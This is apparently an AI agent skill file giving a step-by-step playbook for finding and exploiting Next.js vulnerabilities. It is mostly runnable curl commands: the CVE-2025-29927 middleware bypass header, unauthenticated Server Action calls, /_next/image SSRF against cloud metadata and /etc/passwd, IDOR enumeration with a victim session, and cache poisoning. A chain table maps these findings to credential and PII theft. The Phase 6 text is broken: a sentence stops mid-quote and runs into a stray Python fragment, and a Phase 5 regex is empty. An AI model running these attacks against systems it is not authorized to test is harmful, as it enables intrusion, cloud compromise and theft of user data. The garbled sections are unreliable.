--- name: hunt-nextjs description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework. sources: "cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories" report_count: 0 --- # HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities ## Crown Jewel Targets Next.js-specific bugs that bypass auth or reach SSRF = High/Critical. **Highest-value chains:** - **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil - **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR - **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata - **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users - **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client --- ## Attack Surface Signals ``` /_next/image?url=&w=&q= Image optimizer — SSRF candidate /_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate /__nextjs_original-stack-frame Debug stack frame endpoint /_next/static/chunks/ JS bundles — source map candidate /api/ API routes — standard hunt surface __NEXT_DATA__ in HTML SSR props leaked to client x-nextjs-* response headers Confirms Next.js ``` --- ## Phase 1 — Fingerprint & Version Detection ```bash # Confirm Next.js and get build ID curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"' curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs" # Extract build ID for /_next/data/ paths BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+') echo "Build ID: $BUILD_ID" # Check Next.js version via package disclosure curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"' # Source map exposure curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5 curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5 ``` --- ## Phase 2 — Server Actions Abuse ```bash # Server Actions in Next.js 14+ use x-action-id or Next-Action header # Find action IDs in HTML source or JS bundles curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"' grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null # Call Server Action directly without auth curl -s -X POST https://$TARGET/target-page \ -H "Next-Action: ACTION_ID_HERE" \ -H "Content-Type: multipart/form-data; boundary=----" \ -H "Cookie: " \ --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n' # Test: does the action execute without a valid session? # If it returns data or mutates state → auth enforcement is client-side only ``` --- ## Phase 3 — Middleware Auth Bypass ```bash # Next.js middleware runs on edge runtime and may skip certain paths # Test protected route directly curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard # → 200 means accessible # Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json" # Test via static asset path prefix (middleware matcher may exclude /_next/static) curl -s "https://$TARGET/_next/static/../admin/dashboard" # Encoded path bypass curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json" curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json" ``` --- ### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927) Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes. ```bash curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \ -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" # also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware" # 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3. ``` ## Phase 4 — Image Optimization SSRF (`/_next/image`) ```bash # Basic SSRF test — internal metadata curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75" # Protocol bypass attempts curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75" curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75" # OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused COLLAB="http://UNIQUE.COLLAB_HOST" curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75" # Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain ``` **FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only fetches URLs allowed by `images.remotePatterns` / `images.domains` in `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200** returns an *optimized image*, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique Collaborator subdomain** (above), or by body-diffing a known-internal vs known-external target. Do not report on status code. > Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 > through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative > redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does > NOT affect Host-routed providers like Vercel. See Phase 2 for the Server > Actions surface. --- ## Phase 5 — `/_next/data/` IDOR & Data Leakage ```bash # Enumerate prerendered JSON for user-specific data # Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \ -H "Cookie: session=VICTIM_SESSION" # Try other users' data for ID in 1 2 3 100 1000; do curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3 done # Check __NEXT_DATA__ in HTML for sensitive server-side props curl -s "https://$TARGET/dashboard" | \ python3 -c "import sys,re,json; m=re.search(r'',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')" ``` --- ## Phase 6 — ISR Cache Poisoning ```bash # ISR pages regenerate on request after revalidation period # If user input influences the static page content without sanitization: # 1. Trigger revalidation with malicious input in URL/query # 2. Injected content cached and served to all users # Test: does query param affect cached page content? # Use a UNIQUE marker (not a generic ', sys.stdin.read(), re.S) if m: d = json.loads(m.group(1)) print(json.dumps(d.get('props', {}), indent=2)) " ``` --- ## Chain Table | Next.js finding | Chain to | Impact | |----------------|----------|--------| | Server Action no auth | Call privileged mutations directly | Data manipulation / admin access | | `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise | | `/_next/data/` IDOR | Other users' server-side props | PII / token exfil | | Middleware bypass | Protected admin routes | Auth bypass | | Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns | | `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens | --- ## Validation ✅ Server Action: action executes without valid session, returns data or mutates state ✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF ✅ Middleware bypass: 200 response on protected route without auth cookie ✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII **Severity:** - Server Action auth bypass → data mutation: High/Critical - Image SSRF → cloud metadata: Critical - Middleware bypass → admin panel: High - Source map exposure only: Low-Medium